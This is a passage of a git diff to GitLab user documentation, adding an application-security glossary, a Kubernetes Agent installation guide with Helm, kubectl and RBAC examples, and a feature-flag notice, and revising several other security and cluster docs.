a/doc/user/application_security/terminology/index.md b/doc/user/application_security/terminology/index.md new file mode 100644 index 00000000000..8006a49ba35 --- /dev/null +++ b/doc/user/application_security/terminology/index.md @@ -0,0 +1,171 @@ +--- +stage: Secure +group: Static Analysis +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +type: reference +--- + +# Secure and Defend terminology + +This terminology list for GitLab Secure and Defend aims to: + +- Promote a ubiquitous language for discussing application security. +- Improve the effectiveness of communication regarding GitLab's application security features. +- Get new contributors up to speed faster. + +NOTE: **Note:** +This document defines application security terms in the specific context of GitLab's Secure and +Defend products. Terms may therefore have different meanings outside of GitLab Secure and Defend. + +## Terms + +### Analyzer + +Software that performs a scan. The scan analyzes an attack surface for vulnerabilities and produces +a report containing findings. Reports adhere to the [Secure report format](#secure-report-format). + +Analyzers integrate into GitLab using a CI job. The report produced by the analyzer is published as +an artifact once the job is complete. GitLab ingests this report, allowing users to visualize and +manage found vulnerabilities. For more information, see [Security Scanner Integration](../../../development/integrations/secure.md). + +Many GitLab analyzers follow a standard approach using Docker to run a wrapped scanner. For example, +the Docker image `bandit-sast` is an analyzer that wraps the scanner `Bandit`. You can optionally +use the [Common library](https://gitlab.com/gitlab-org/security-products/analyzers/common) +to assist in building an Analyzer. + +### Attack surface + +The different places in an application that are vulnerable to attack. Secure products discover and +search the attack surface during scans. Each product defines the attack surface differently. For +example, SAST uses files and line numbers, and DAST uses URLs. + +### CVE + +Common Vulnerabilities and Exposures (CVE®) is a list of common identifiers for publicly known +cybersecurity vulnerabilities. The list is managed by the [Mitre Corporation](https://cve.mitre.org/). + +### CVSS + +The Common Vulnerability Scoring System (CVSS) is a free and open industry standard for assessing +the severity of computer system security vulnerabilities. + +### CWE + +Common Weakness Enumeration (CWE™) is a community-developed list of common software and hardware +weakness types that have security ramifications. Weaknesses are flaws, faults, bugs, +vulnerabilities, or other errors in software or hardware implementation, code, design, or +architecture. If left unaddressed, weaknesses could result in systems, networks, or hardware being +vulnerable to attack. The CWE List and associated classification taxonomy serve as a language that +you can use to identify and describe these weaknesses in terms of CWEs. + +### Duplicate finding + +A legitimate finding that is reported multiple times. This can occur when different scanners +discover the same finding, or when a single scan inadvertently reports the same finding more than +once. + +### False positive + +A finding that doesn't exist but is incorrectly reported as existing. + +### Feedback + +Feedback the user provides about a finding. Types of feedback include dismissal, creating an issue, +or creating a merge request. + +### Finding + +An asset that has the potential to be vulnerable, identified within a project by an analyzer. Assets +include but are not restricted to source code, binary packages, containers, dependencies, networks, +applications, and infrastructure. + +### Insignificant finding + +A legitimate finding that a particular customer doesn't care about. + +### Location fingerprint + +A finding's location fingerprint is a text value that's unique for each location on the attack +surface. Each Secure product defines this according to its type of attack surface. For example, SAST +incorporates file path and line number. + +### Pipeline Security tab + +A page that displays findings discovered in the associated CI pipeline. + +### Primary identifier + +A finding's primary identifier is a value unique to that finding. The external type and external ID +of the finding's [first identifier](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/v2.4.0-rc1/dist/sast-report-format.json#L228) +combine to create the value. + +Examples of primary identifiers include ZAP's `PluginID`, or `CVE` for Klar. Note that the +identifier must be stable. Subsequent scans must return the same value for the same finding, even if +the location has slightly changed. + +### Report finding + +A [finding](#finding) that only exists in a report produced by an analyzer, and is yet to be +persisted to the database. The report finding becomes a [vulnerability finding](#vulnerability-finding) +once it's imported into the database. + +### Scan type (report type) + +The type of scan. This must be one of the following: + +- `container_scanning` +- `dependency_scanning` +- `dast` +- `sast` + +### Scanner + +Software that can scan for vulnerabilities. The resulting scan report is typically not in the +[Secure report format](#secure-report-format). Examples include ESLint, Klar, and ZAP. + +### Secure product + +A group of features related to a specific area of application security with first-class support by +GitLab. Products include Container Scanning, Dependency Scanning, Dynamic Application Security +Testing (DAST), Secret Detection, Static Application Security Testing (SAST), and Fuzz Testing. Each +of these products typically include one or more analyzers. + +### Secure report format + +A standard report format that Secure products comply with when creating JSON reports. The format is described by a +[JSON schema](https://gitlab.com/gitlab-org/security-products/security-report-schemas). + +### Security Dashboard + +Provides an overview of all the vulnerabilities for a project, group, or GitLab instance. +Vulnerabilities are only created from findings discovered on the project's default branch. + +### Vendor + +The party maintaining an analyzer. As such, a vendor is responsible for integrating a scanner into +GitLab and keeping it compatible as they evolve. A vendor isn't necessarily the author or maintainer +of the scanner, as in the case of using an open core or OSS project as a base solution of an +offering. For scanners included as part of a GitLab distribution or GitLab subscription, the vendor +is listed as GitLab. + +### Vulnerability + +A flaw that has a negative impact on the security of its environment. Vulnerabilities describe the +error or weakness, and don't describe where the error is located (see [finding](#finding)). +Each vulnerability maps to a unique finding. + +### Vulnerability finding + +When a [report finding](#report-finding) is stored to the database, it becomes a vulnerability +[finding](#finding). + +### Vulnerability tracking + +Deals with the responsibility of matching findings across scans so that a finding's life cycle can +be understood. Engineers and security teams use this information to decide whether to merge code +changes, and to see unresolved findings and when they were introduced. Vulnerabilities are tracked +by comparing the location fingerprint, primary identifier, and report type. + +### Vulnerability occurrence + +Deprecated, see [finding](#finding). diff --git a/doc/user/application_security/threat_monitoring/index.md b/doc/user/application_security/threat_monitoring/index.md index c916cdbfe7c..5414800b290 100644 --- a/doc/user/application_security/threat_monitoring/index.md +++ b/doc/user/application_security/threat_monitoring/index.md @@ -66,7 +66,7 @@ global: enabled: true metrics: enabled: - - 'flow:sourceContext=namespace;destinationContext=namespace' + - 'flow:sourceContext=namespace;destinationContext=namespace' ``` The **Container Network Policy** section displays the following information @@ -88,8 +88,9 @@ investigate it for potential threats by The **Threat Monitoring** page's **Policy** tab displays deployed network policies for all available environments. You can check a -network policy's `yaml` manifest and toggle the policy's enforcement -status. This section has the following prerequisites: +network policy's `yaml` manifest, toggle the policy's enforcement +status, and create and edit deployed policies. This section has the +following prerequisites: - Your project contains at least one [environment](../../../ci/environments/index.md) - You've [installed Cilium](../../clusters/applications.md#install-cilium-using-gitlab-cicd) @@ -124,3 +125,47 @@ Disabled network policies have the `podSelector` block. This narrows the scope of such a policy and as a result it doesn't affect any pods. The policy itself is still deployed to the corresponding deployment namespace. + +### Container Network Policy editor + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3403) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4. + +The policy editor allows you to create, edit, and delete policies. To +create a new policy click the **New policy** button located in the +**Policy** tab's header. To edit an existing policy, click**Edit +policy** in the selected policy drawer. + +NOTE: **Note:** +The policy editor only supports the +[CiliumNetworkPolicy](https://docs.cilium.io/en/v1.8/policy/)specification. Regular +Kubernetes +[NetworkPolicy](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.19/#networkpolicy-v1-networking-k8s-io) +resources aren't supported. + +The policy editor has two modes: + +- The visual _Rule_ mode allows you to construct and preview policy + rules using rule blocks and related controls. +- YAML mode allows you to enter a policy definition in `.yaml` format + and is aimed at expert users and cases that the Rule mode doesn't + support. + +You can use both modes interchangeably and switch between them at any +time. If a YAML resource is incorrect, Rule mode is automatically +disabled. You must use YAML mode to fix your policy before Rule mode +is available again. + +Rule mode supports the following rule types: + +- [Labels](https://docs.cilium.io/en/v1.8/policy/language/#labels-based). +- [Entities](https://docs.cilium.io/en/v1.8/policy/language/#entities-based). +- [IP/CIDR](https://docs.cilium.io/en/v1.8/policy/language/#ip-cidr-based). Only + the `toCIDR` block without `except` is supported. +- [DNS](https://docs.cilium.io/en/v1.8/policy/language/#dns-based). +- [Level 4](https://docs.cilium.io/en/v1.8/policy/language/#layer-4-examples) + can be added to all other rules. + +Once your policy is complete, save it by pressing the **Save policy** +button at the bottom of the editor. Existing policies can also be +removed from the editor interface by clicking the **Delete policy** +button at the bottom of the editor. diff --git a/doc/user/application_security/vulnerabilities/img/vulnerability_page_v13_1.png b/doc/user/application_security/vulnerabilities/img/vulnerability_page_v13_1.png Binary files differdeleted file mode 100644 index 30a7195e1ab..00000000000 --- a/doc/user/application_security/vulnerabilities/img/vulnerability_page_v13_1.png +++ /dev/null diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md index ffec4bf336d..ff383fdf553 100644 --- a/doc/user/application_security/vulnerabilities/index.md +++ b/doc/user/application_security/vulnerabilities/index.md @@ -9,10 +9,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13561) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0. -Each security vulnerability in the [Security Dashboard](../security_dashboard/index.md#project-security-dashboard) has its own standalone -page. +Each security vulnerability in a project's [Security Dashboard](../security_dashboard/index.md#project-security-dashboard) has an individual page which includes: - +- Details of the vulnerability. +- The status of the vulnerability within the project. +- Available actions for the vulnerability. On the vulnerability page, you can interact with the vulnerability in several different ways: @@ -22,7 +23,7 @@ several different ways: - [Create issue](#creating-an-issue-for-a-vulnerability) - Create a new issue with the title and description pre-populated with information from the vulnerability report. By default, such issues are [confidential](../../project/issues/confidential_issues.md). -- [Solution](#automatic-remediation-solutions-for-vulnerabilities) - For some vulnerabilities, +- [Solution](#automatic-remediation-for-vulnerabilities) - For some vulnerabilities, a solution is provided for how to fix the vulnerability. ## Changing vulnerability status @@ -46,28 +47,7 @@ project the vulnerability came from, and pre-populates it with useful informatio the vulnerability report. After the issue is created, GitLab redirects you to the issue page so you can edit, assign, or comment on the issue. -## Automatic remediation solutions for vulnerabilities +## Automatic remediation for vulnerabilities You can fix some vulnerabilities by applying the solution that GitLab automatically -generates for you. GitLab supports the following scanners: - -- [Dependency Scanning](../dependency_scanning/index.md): Automatic Patch creation - is only available for Node.js projects managed with `yarn`. -- [Container Scanning](../container_scanning/index.md). - -When an automatic solution is available, the button in the header will show "Resolve with merge request": - - - -Selecting the button will create a merge request with the automatic solution. - -### Manually applying a suggested patch - -To manually apply the patch that was generated by GitLab for a vulnerability, select the dropdown arrow on the "Resolve -with merge request" button, then select the "Download patch to resolve" option: - - - -This will change the button text to "Download patch to resolve". Click on it to download the patch: - - +generates for you. [Read more about the automatic remediation for vulnerabilities feature](../index.md#solutions-for-vulnerabilities-auto-remediation). diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md new file mode 100644 index 00000000000..7b745577cc4 --- /dev/null +++ b/doc/user/clusters/agent/index.md @@ -0,0 +1,329 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# GitLab Kubernetes Agent **(PREMIUM ONLY)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223061) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. + +## Goals + +The [GitLab Kubernetes Agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) is an active in-cluster component for solving GitLab and Kubernetes integration tasks in a secure and cloud native way. + +Features: + +1. Makes it possible to integrate GitLab with a Kubernetes cluster behind a firewall or NAT +1. Enables pull-based GitOps deployments by leveraging the [GitOps Engine](https://github.com/argoproj/gitops-engine) +1. Allows for real-time access to API endpoints within a cluster. +1. Many more features are planned. Please [review our roadmap](https://gitlab.com/groups/gitlab-org/-/epics/3329). + +## Architecture + +### GitLab Agent GitOps workflow + +```mermaid +sequenceDiagram + participant D as Developer + participant A as Application code repository + participant M as Manifest repository + participant K as Kubernetes agent + participant C as Agent configuration repository + K->C: Grab the configuration + D->>+A: Pushing code changes + A->>M: Updating manifest + loop Regularly + K-->>M: Watching changes + M-->>K: Pulling and applying changes + end +``` + +Please refer to our [full architecture documentation in the Agent project](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md#high-level-architecture). + +## Getting started with GitOps using the GitLab Agent and the GitLab Cloud Native Helm chart + +There are several components that work in concert for the Agent to accomplish GitOps deployments: + +1. A Kubernetes cluster that is properly configured +1. A configuration repository that contains a `config.yaml` file. This `config.yaml` tells the Agent which repositories to synchronize with. +1. A manifest repository that contains a `manifest.yaml`. This `manifest.yaml` (which can be autogenerated) is tracked by the Agent and any changes to the file are automatically applied to the cluster. + +The setup process involves a few steps that, once completed, will enable GitOps deployments to work + +1. Installing the Agent server via GitLab Helm chart +1. Defining a configuration directory +1. Creating an Agent record in GitLab +1. Generating and copying a Secret token used to connect to the Agent +1. Installing the Agent into the cluster +1. Creating a `manifest.yaml` + +### Installing the Agent server via Helm + +Currently the GitLab Kubernetes Agent can only be deployed via our [Helm chart](https://gitlab.com/gitlab-org/charts/gitlab). + +NOTE: We are working quickly to [include the Agent in Official Linux Package](https://gitlab.com/gitlab-org/gitlab/-/issues/223060). + +If you don't already have GitLab installed via Helm please refer to our [installation documentation](https://docs.gitlab.com/charts/installation/) + +When installing/upgrading the GitLab Helm chart please consider the following Helm 2 example (if using Helm 3 please modify): + +```shell +helm upgrade --force --install gitlab . \ + --timeout 600 \ + --set global.hosts.domain=<YOUR_DOMAIN> \ + --set global.hosts.externalIP=<YOUR_IP> \ + --set certmanager-issuer.email=<YOUR_EMAIL> \ + --set name=gitlab-instance \ + --set global.kas.enabled=true +``` + +`global.kas.enabled=true` must be set in order for the Agent to be properly installed and configured. + +### Defining a configuration repository + +Next you will need a GitLab repository that will contain your Agent configuration. + +The minimal repository layout looks like this: + +`.gitlab/agents/<agent-name>/config.yaml` + +The `config.yaml` file contents should look like this: + +```yaml +gitops: + manifest_projects: + - id: "path-to/your-awesome-project" +``` + +### Creating an Agent record in GitLab + +Next you will need to create an GitLab Rails Agent record so that your GitLab project so that the Agent itself can associate with a GitLab project. This process will also yield a Secret that you will use to configure the Agent in subsequent steps. + +There are two ways to accomplish this: + +1. Via the Rails console +1. Via GraphQL + +To do this you could either run `rails c` or via GraphQL. From `rails c`: + +```ruby + project = ::Project.find_by_full_path("path-to/your-awesome-project") + agent = ::Clusters::Agent.create(name: "<agent-name>", project: project) + token = ::Clusters::AgentToken.create(agent: agent) + token.token # this will print out the token you need to use on the next step +``` + +or using GraphQL: + +with this approach, you'll need a premium license to use this feature. + +If you are new to using the GitLab GraphQL API please refer to the [Getting started with the GraphQL API page](../../../api/graphql/getting_started.md) or check out the [GraphQL Explorer](https://gitlab.com/-/graphql-explorer). + +```json + mutation createAgent { + createClusterAgent(input: { projectPath: "path-to/your-awesome-project", name: "<agent-name>" }) { + clusterAgent { + id + name + } + errors + } + } + + mutation createToken { + clusterAgentTokenCreate(input: { clusterAgentId: <cluster-agent-id-taken-from-the-previous-mutation> }) { + secret # This is the value you need to use on the next step + token { + createdAt + id + } + errors + } + } +``` + +Note that GraphQL will only show you the token once, after you've created it. + +### Creating the Kubernetes secret + +Once the token has been generated it needs to be applied to the Kubernetes cluster. + +If you didn't previously define or create a namespace you need to do that first: + +```shell +kubectl create namespace <YOUR-DESIRED-NAMESPACE> +``` + +Run the following command to create your Secret: + +```shell +kubectl create secret generic -n <YOUR-DESIRED-NAMESPACE> gitlab-agent-token --from-literal=token='YOUR_AGENT_TOKEN' +``` + +### Installing the Agent into the cluster + +Next you are now ready to install the in-cluster component of the Agent. The below is an example YAML file of the Kubernetes resources required for the Agent to be installed. + +Let's highlight a few of the details in the example below: + +1. You can replace `gitlab-agent` with <YOUR-DESIRED-NAMESPACE> +1. For the `kas-address` (Kubernetes Agent Server), you can replace `grpc://host.docker.internal:5005` with the address of the kas agent that was initialized via your Helm install. +1. If you defined your own secret name, then replace `gitlab-agent-token` with your secret name. + +`./resources.yml` + +```yaml +apiVersion: v1 +kind: ServiceAccount +metadata: + name: gitlab-agent +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: gitlab-agent +spec: + replicas: 1 + selector: + matchLabels: + app: gitlab-agent + template: + metadata: + labels: + app: gitlab-agent + spec: + serviceAccountName: gitlab-agent + containers: + - name: agent + image: "registry.gitlab.com/gitlab-org/cluster-integration/gitlab-agent/agentk:latest" + args: + - --token-file=/config/token + - --kas-address + - grpc://host.docker.internal:5005 # {"$openapi":"kas-address"} + volumeMounts: + - name: token-volume + mountPath: /config + volumes: + - name: token-volume + secret: + secretName: gitlab-agent-token + strategy: + type: RollingUpdate + rollingUpdate: + maxSurge: 0 + maxUnavailable: 1 +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: gitlab-agent-write +rules: +- resources: + - '*' + apiGroups: + - '*' + verbs: + - create + - update + - delete + - patch +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: gitlab-agent-write-binding +roleRef: + name: gitlab-agent-write + kind: ClusterRole + apiGroup: rbac.authorization.k8s.io +subjects: +- name: gitlab-agent + kind: ServiceAccount + namespace: gitlab-agent +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: gitlab-agent-read +rules: +- resources: + - '*' + apiGroups: + - '*' + verbs: + - get + - list + - watch +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: gitlab-agent-read-binding +roleRef: + name: gitlab-agent-read + kind: ClusterRole + apiGroup: rbac.authorization.k8s.io +subjects: +- name: gitlab-agent + kind: ServiceAccount + namespace: gitlab-agent + +``` + +```shell +kubectl apply -n gitlab-agent -f ./resources.yml +``` + +```plaintext +$ kubectl get pods --all-namespaces +NAMESPACE NAME READY STATUS RESTARTS AGE +gitlab-agent gitlab-agent-77689f7dcb-5skqk 1/1 Running 0 51s +kube-system coredns-f9fd979d6-n6wcw 1/1 Running 0 14m +kube-system etcd-minikube 1/1 Running 0 14m +kube-system kube-apiserver-minikube 1/1 Running 0 14m +kube-system kube-controller-manager-minikube 1/1 Running 0 14m +kube-system kube-proxy-j6zdh 1/1 Running 0 14m +kube-system kube-scheduler-minikube 1/1 Running 0 14m +kube-system storage-provisioner 1/1 Running 0 14m +``` + +### Creating a `manifest.yaml` + +In the above step, you configured a `config.yaml` to point to which GitLab projects the Agent should synchronize. Within each one of those projects, you need to create a `manifest.yaml` file which the Agent will monitor. This `manifest.yaml` can be autogenerated by a templating engine or other means. + +Example `manifest.yaml`: + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: nginx-deployment +spec: + selector: + matchLabels: + app: nginx + replicas: 2 + template: + metadata: + labels: + app: nginx + spec: + containers: + - name: nginx + image: nginx:1.14.2 + ports: + - containerPort: 80 +``` + +The above file creates a simple NGINX deployment. + +Each time you commit and push a change to the `manifest.yaml` the Agent will observe the change. Example log: + +```plaintext +2020-09-15_14:09:04.87946 gitlab-k8s-agent : time="2020-09-15T10:09:04-04:00" level=info msg="Config: new commit" agent_id=1 commit_id=e6a3651f1faa2e928fe6120e254c122451be4eea +``` + +## Example projects + +Basic GitOps example deploying NGINX: [Configuration repository](https://gitlab.com/gitlab-org/configure/examples/kubernetes-agent), [Manifest repository](https://gitlab.com/gitlab-org/configure/examples/gitops-project) diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md index 3b04c7aac18..2243ffa0cb1 100644 --- a/doc/user/clusters/applications.md +++ b/doc/user/clusters/applications.md @@ -123,14 +123,14 @@ GitLab. It is used in conjunction with [GitLab CI/CD](../../ci/README.md), the open-source continuous integration service included with GitLab that coordinates the jobs. -If the project is on GitLab.com, shared Runners are available +If the project is on GitLab.com, shared runners are available (the first 2000 minutes are free, you can -[buy more later](../../subscriptions/index.md#purchasing-additional-ci-minutes)) +[buy more later](../../subscriptions/gitlab_com/index.md#purchase-additional-ci-minutes)) and you do not have to deploy one if they are enough for your needs. If a -project-specific Runner is desired, or there are no shared Runners, it is easy +project-specific runner is desired, or there are no shared runners, it is easy to deploy one. -Note that the deployed Runner will be set as **privileged**, which means it will essentially +Note that the deployed runner will be set as **privileged**, which means it will essentially have root access to the underlying machine. This is required to build Docker images, so it is the default. Make sure you read the [security implications](../project/clusters/index.md#security-implications) @@ -529,7 +529,7 @@ fewer than 3 nodes or consisting of `f1-micro`, `g1-small`, `n1-standard-1`, or NOTE: **Note:** The Elastic Stack cluster application is intended as a log aggregation solution and is not related to our -[Advanced Global Search](../search/advanced_global_search.md) functionality, which uses a separate +[Advanced Search](../search/advanced_global_search.md) functionality, which uses a separate Elasticsearch cluster. #### Optional: deploy Kibana to perform advanced queries @@ -894,8 +894,8 @@ GitLab Runner is installed into the `gitlab-managed-apps` namespace of your clus In order for GitLab Runner to function, you **must** specify the following: -- `gitlabUrl` - the GitLab server full URL (for example, `https://example.gitlab.com`) to register the Runner against. -- `runnerRegistrationToken` - The registration token for adding new Runners to GitLab. This must be +- `gitlabUrl` - the GitLab server full URL (for example, `https://gitlab.example.com`) to register the Runner against. +- `runnerRegistrationToken` - The registration token for adding new runners to GitLab. This must be [retrieved from your GitLab instance](../../ci/runners/README.md). These values can be specified using [CI variables](../../ci/variables/README.md): @@ -910,7 +910,7 @@ management project. Refer to the available configuration options. NOTE: **Note:** -Support for installing the Runner managed application is provided by the GitLab Runner group. +Support for installing the GitLab Runner managed application is provided by the GitLab Runner group. If you run into unknown issues, please [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new) and ping at least 2 people from the [Runner group](https://about.gitlab.com/handbook/product/product-categories/#runner-group). ### Install Cilium using GitLab CI/CD @@ -1421,7 +1421,7 @@ Refer to the [AppArmor chart](https://gitlab.com/gitlab-org/charts/apparmor) for After installing AppAmor, you can use profiles by adding Pod Annotations. If you're using Auto DevOps, you can [customize `auto-deploy-values.yaml`](../../topics/autodevops/customize.md#customize-values-for-helm-chart) -to annotate your pods. Although it's helpful to be aware of the [list of custom attributes](https://gitlab.com/gitlab-org/charts/auto-deploy-app#gitlabs-auto-deploy-helm-chart), you're only required to set +to annotate your pods. Although it's helpful to be aware of the [list of custom attributes](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app#gitlabs-auto-deploy-helm-chart), you're only required to set `podAnnotations` as follows: ```yaml @@ -1488,7 +1488,7 @@ The applications below can be upgraded. | Application | GitLab version | | ----------- | -------------- | -| Runner | 11.8+ | +| GitLab Runner | 11.8+ | To upgrade an application: diff --git a/doc/user/compliance/license_compliance/img/license-check_v13_4.png b/doc/user/compliance/license_compliance/img/license-check_v13_4.png Binary files differnew file mode 100644 index 00000000000..d3658cbaa18 --- /dev/null +++ b/doc/user/compliance/license_compliance/img/license-check_v13_4.png diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md index 47f14b93d29..79c2d97b972 100644 --- a/doc/user/compliance/license_compliance/index.md +++ b/doc/user/compliance/license_compliance/index.md @@ -16,7 +16,7 @@ is incompatible with yours, then you can deny the use of that license. You can take advantage of License Compliance by either [including the job](#configuration) in your existing `.gitlab-ci.yml` file or by implicitly using -[Auto License Compliance](../../../topics/autodevops/stages.md#auto-license-compliance-ultimate) +[Auto License Compliance](../../../topics/autodevops/stages.md#auto-license-compliance) that is provided by [Auto DevOps](../../../topics/autodevops/index.md). GitLab checks the License Compliance report, compares the licenses between the @@ -118,7 +118,7 @@ the `license_management` job, so you must migrate to the `license_scanning` job `License-Scanning.gitlab-ci.yml` template. The results will be saved as a -[License Compliance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportslicense_scanning-ultimate) +[License Compliance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportslicense_scanning) that you can later download and analyze. Due to implementation limitations, we always take the latest License Compliance artifact available. Behind the scenes, the [GitLab License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/license-management) @@ -265,37 +265,10 @@ license_scanning: You can supply a custom root certificate to complete TLS verification by using the `ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables). -To bypass TLS verification, you can use a custom [`pip.conf`](https://pip.pypa.io/en/stable/user_guide/#config-file) -file to configure trusted hosts. - -The following `gitlab-ci.yml` file uses a [`before_script`](../../../ci/yaml/README.md#before_script-and-after_script) -to inject a custom [`pip.conf`](https://pip.pypa.io/en/stable/user_guide/#config-file): - -```yaml -include: - - template: Security/License-Scanning.gitlab-ci.yml - -license_scanning: - variables: - PIP_INDEX_URL: 'https://pypi.example.com/simple/' - before_script: - - mkdir -p ~/.config/pip/ - - cp pip.conf ~/.config/pip/pip.conf -``` - -The [`pip.conf`](https://pip.pypa.io/en/stable/reference/pip/) allows you to specify a list of -[trusted hosts](https://pip.pypa.io/en/stable/reference/pip/#cmdoption-trusted-host): - -```plaintext -[global] -trusted-host = pypi.example.com -``` - #### Using private Python repos If you have a private Python repository you can use the `PIP_INDEX_URL` [environment variable](#available-variables) -to specify its location. It's also possible to provide a custom `pip.conf` for -[additional configuration](#custom-root-certificates-for-python). +to specify its location. ### Configuring NPM projects @@ -643,8 +616,8 @@ To use License Compliance in an offline environment, you need: NOTE: **Note:** GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), -meaning the Runner tries to pull Docker images from the GitLab container registry even if a local -copy is available. GitLab Runner's [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) +meaning the runner tries to pull Docker images from the GitLab container registry even if a local +copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) in an offline environment if you prefer using only locally available Docker images. However, we recommend keeping the pull policy setting to `always` if not in an offline environment, as this enables the use of updated scanners in your CI/CD pipelines. @@ -705,9 +678,6 @@ with identifiers from the [SPDX license list](https://spdx.org/licenses/). A local copy of the SPDX license list is distributed with the GitLab instance. If needed, the GitLab instance's administrator can manually update it with a [Rake task](../../../raketasks/spdx.md). -Exact name matches are required for [project policies](#policies) -when running in an offline environment ([see related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/212388)). - ## License list > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13582) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.7. @@ -753,17 +723,21 @@ Developers of the project can view the policies configured in a project.  -### Enabling License Approvals within a project +## Enabling License Approvals within a project > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13067) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.3. -`License-Check` is an approval rule you can enable to allow an approver, individual, or group to -approve a merge request that contains a `denied` license. +`License-Check` is a [security approval](../../application_security/index.md#enabling-security-approvals-within-a-project) rule you can enable to allow an individual or group to approve a +merge request that contains a `denied` license. You can enable `License-Check` one of two ways: -- Create a [project approval rule](../../project/merge_requests/merge_request_approvals.md#multiple-approval-rules-premium) - with the case-sensitive name `License-Check`. +1. Navigate to your project's **Settings > General** and expand **Merge request approvals**. +1. Click **Enable** or **Edit**. +1. Add or change the **Rule name** to `License-Check` (case sensitive). + + + - Create an approval group in the [project policies section for License Compliance](#policies). You must set this approval group's number of approvals required to greater than zero. Once you enable this group in your project, the approval rule is enabled for all merge requests. diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md index f39d0d6c217..d3576ea33fe 100644 --- a/doc/user/discussions/index.md +++ b/doc/user/discussions/index.md @@ -501,7 +501,7 @@ introduced by [#25381](https://gitlab.com/gitlab-org/gitlab/-/issues/25381). > - It was deployed behind a feature flag, disabled by default. > - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/227799) on GitLab 13.2. > - It's enabled on GitLab.com. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-batch-suggestions-core-only). +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-batch-suggestions). You can apply multiple suggestions at once to reduce the number of commits added to your branch to address your reviewers' requests. diff --git a/doc/user/feature_flags.md b/doc/user/feature_flags.md new file mode 100644 index 00000000000..c134b7c083c --- /dev/null +++ b/doc/user/feature_flags.md @@ -0,0 +1,43 @@ +--- +stage: none +group: Development +info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines" +description: "Understand what 'GitLab features deployed behind flags' means." +--- + +# GitLab functionality may be limited by feature flags + +> Feature flag documentation warnings were [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227806) in GitLab 13.4. + +GitLab releases some features in a disabled state using [feature flags](../development/feature_flags/index.md), +allowing them to be tested by specific groups of users and strategically +rolled out until they become enabled for everyone. + +As a GitLab user, this means that some features included in a GitLab release +may be unavailable to you. + +In this case, you'll see a warning like this in the feature documentation: + +CAUTION: **Warning:** +This feature might not be available to you. Review the **version history** note +on this page for details. + +In the version history note, you'll find information on the state of the +feature flag, including whether the feature is on ("enabled by default") or +off ("disabled by default") for self-managed GitLab instances and for users of +GitLab.com. To see the full notes: + +1. Click the three-dots icon (ellipsis) to expand version history notes: + +  + +1. Read the version history information: + +  + +If you're a user of a GitLab self-managed instance and you want to try to use a +disabled feature, you can ask a [GitLab administrator to enable it](../administration/feature_flags.md), +although changing a feature's default state isn't recommended. + +If you're a GitLab.com user and the feature is disabled, be aware that GitLab may +be working on the feature for potential release in the future. diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md index aa9e6715335..67dd31efe2c 100644 --- a/doc/user/gitlab_com/index.md +++ b/doc/user/gitlab_com/index.md @@ -68,7 +68,7 @@ Below are the settings for [GitLab Pages](https://about.gitlab.com/stages-devops | IP address | `35.185.44.232` | - | | Custom domains support | yes | no | | TLS certificates support | yes | no | -| Maximum size (uncompressed) | 1G | 100M | +| Maximum size (compressed) | 1G | 100M | NOTE: **Note:** The maximum size of your Pages site is regulated by the artifacts maximum size @@ -80,16 +80,16 @@ Below are the current settings regarding [GitLab CI/CD](../../ci/README.md). | Setting | GitLab.com | Default | | ----------- | ----------------- | ------------- | -| Artifacts maximum size (uncompressed) | 1G | 100M | +| Artifacts maximum size (compressed) | 1G | 100M | | Artifacts [expiry 